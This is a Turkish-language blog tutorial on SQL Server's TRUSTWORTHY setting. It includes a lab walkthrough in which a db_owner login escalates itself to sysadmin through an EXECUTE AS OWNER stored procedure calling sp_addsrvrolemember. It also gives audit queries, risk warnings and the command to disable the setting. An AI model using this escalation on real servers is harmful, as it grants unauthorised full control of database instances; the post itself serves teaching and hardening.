MSSQL Server’da TRUSTWORTHY özelliği, bir veritabanının güvenilir olduğunu belirten bir özelliktir SQL Server’da bir veritabanının TRUSTWORTHY özelliğini aktif etmek, SQL Server’ın o veritabanından gelen içeriklere (örneğin; saklı yordamlar, CLR nesneleri) sunucu düzeyindeki kaynaklara erişim için güvenmesini sağlar.
Varsayılan olarak bu ayar OFF (Kapalı) durumdadır çünkü yanlış yapılandırılması ciddi güvenlik açıklarına yol açabilir.
Herhangi database üzerinde TRUSTWORTHY olarak ayarlandıysa veritabanı üzerinde düşük yetkili kullanıcı yüksek yetkili kullanıcı adına işlem yapacaktır. Bu özellik aktif edilmiş bir veritabanı sql server için güvenilir olarak set edilmiştir.
1. Örnek: CLR ile Dosya Sistemine Erişmek
Diyelim ki C# ile bir kod yazdın (CLR – Common Language Runtime) ve bu kodun görevi, SQL Server’ın yüklü olduğu bilgisayardaki C:\Loglar\ klasörüne bir metin dosyası yazmak.
- TRUSTWORTHY OFF: SQL Server bu kodu durdurur. “Sen bir veritabanı nesnesisin, sunucunun hard diskine dokunamazsın!” der.
- TRUSTWORTHY ON: SQL Server, bu kodun geldiği veritabanına güvendiği için kodun disk üzerine dosya yazmasına izin verir.
2. Örnek: “sysadmin” Yetkisi Gerektiren İşlemler (Execute As)
Bir Stored Procedure yazdığını düşün. Bu procedure içinde normal bir kullanıcının yetkisinin yetmediği, sunucu genelini ilgilendiren bir ayar (örneğin sp_configure ile bellek ayarı değiştirmek) var.
Eğer bu procedure WITH EXECUTE AS OWNER (Veritabanı sahibi gibi çalıştır) komutuyla oluşturursan:
- Normalde bu procedure sadece o veritabanı içinde “patron”dur.
- Ancak TRUSTWORTHY ON ise, bu yordam veritabanı sınırlarını aşar ve sunucu düzeyinde de patron (sysadmin) gibi davranarak o ayarı değiştirebilir.
3. Örnek: Başka Veritabanındaki Verilere Ulaşmak
DB_A veritabanındasın ve içindeki bir View üzerinden DB_B veritabanındaki gizli maaş tablosuna erişmek istiyorsun.
Eğer bu erişim için özel bir sahiplik zinciri (Ownership Chaining) kurmadıysan, SQL Server güvenlik nedeniyle bu geçişi bloklar. TRUSTWORTHY açık olduğunda, DB_A’dan gelen bu talep “güvenilir” sayılır ve kimlik doğrulama adımları daha esnek hale gelir.
Şimdi ilk başta sıfırdan bir veritabanı oluşturuyorum.

Veritabanımızı sa kullanıcısıyla oluşturmuş olduk.

Şimdiki adımda ise bir login oluşturuyorum bu login’e TRUSTWORTH veritabanında db_owner yetkisi veriyorum.
USE [master]
GO
CREATE LOGIN [TRUSTLOGIN] WITH PASSWORD=N'1', DEFAULT_DATABASE=[TRUSTWORTH], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
use [master];
GO
USE [TRUSTWORTH]
GO
CREATE USER [TRUSTUSER] FOR LOGIN [TRUSTLOGIN]
GO
USE [TRUSTWORTH]
GO
ALTER ROLE [db_owner] ADD MEMBER [TRUSTUSER]
GO
Veritabanımız üzerinde Trustworth özelliğini aktif etmek için aşağıdaki komut kullanılır.
ALTER DATABASE TRUSTWORTH SET TRUSTWORTHY ON;
İlgili veritabanı için mevcut güven durumu ile ilgili bilgi almak için şu sorguyu çalıştırabilirsiniz:
SELECT name, is_trustworthy_on
FROM sys.databases
WHERE name = 'VeritabaniAdiniz';
Bu işlemleri SSMS üzerindende yapılabiliriz.

Trustworth hangi veritabanı üzerinde aktif olup olmadığını görebiliriz.
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name where is_trustworthy_on=1;

SELECT name,
trustworthy_setting = CASE is_trustworthy_on
WHEN 1 THEN 'Trustworthy setting is ON for msdb'
ELSE 'Trustworthy setting is OFF for msdb'
END
FROM sys.databases
WHERE database_id>4;
GO

Şimdi bu veritabanı için oluşturmuş olduğum login ile login olalım. Burada sadece veritabanı üzerinde db_owner yetkisi olan birine sysadmin role’ü atmaya çalışacağız.
Login olduğumuz kullanıcı üzerinde herhangi bir stored procedure oluşturacağız ve bu procedure’ü çalıştırdıktan sonra login’imiz sadece veritabanı üzerinde db_owner yetkisi olmasına rağmen sysadmin yetkisine sahip olmuş olacak.
USE TRUSTWORTH
GO
CREATE PROCEDURE PROCE
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'TRUSTLOGIN','sysadmin'
GO
EXEC PROCE

Şimdi S1\administrator kullanıcımızdan TRUSTLOGIN’in server seviyesinde role’üne bakalım.

Başlangıçta db_owner yetkisiyle oluşturduğumuz kullanıcı ile login olduğumuzda TRUSTLOGIN kullanıcısı üzerinde server seviyesinde düzenlemelerde yapabiliyoruz.

Aşağıdaki ilk sorgu, her veritabanındaki kullanıcıların rollerini ve rollerin bağlı olduğu kullanıcıları listelemektedir.
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

Aşağıdaki ikinci sorgu, sysadmin rolünde olan kullanıcıların, sahip oldukları veritabanları üzerinde TRUSTWORTHY özelliği aktif olan veritabanlarını listelemektedir.
SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_i
INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id
INNER JOIN sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

Dikkat Edilmesi Gereken Güvenlik Riskleri
TRUSTWORTHY özelliğini açtığınızda, veritabanı sahibi (db_owner) olan bir kullanıcı, sunucu üzerinde sysadmin yetkilerine sahipmiş gibi davranabilir.
- Yetki Yükseltme (Privilege Escalation): Kötü niyetli bir kullanıcı, veritabanı içinde oluşturduğu bir kod parçasıyla tüm SQL Server örneğini (instance) ele geçirebilir.
- Alternatif Yöntem: Güvenlik uzmanları, TRUSTWORTHY ON yerine genellikle Sertifika (Certificate) veya Asimetrik Anahtar (Asymmetric Key) kullanarak modülleri imzalamayı önerirler. Bu yöntem çok daha zahmetli olsa da çok daha güvenlidir.
Eğer TRUSTWORTHY özelliğini kapatmak isterseniz, aşağıdaki komutu kullanabilirsiniz:
ALTER DATABASE [VeritabaniAdiniz] SET TRUSTWORTHY OFF;
Başka bir makalede görüşmek dileğiyle..
“Onlar cennetlerdedir; günahkârlar hakkında birbirlerine sorular sorarlar? “Sizi şu yakıcı ateşe sokan nedir?” Onlar şöyle cevap verirler: “Biz namaz kılanlardan değildik;” Müddessir-40-42
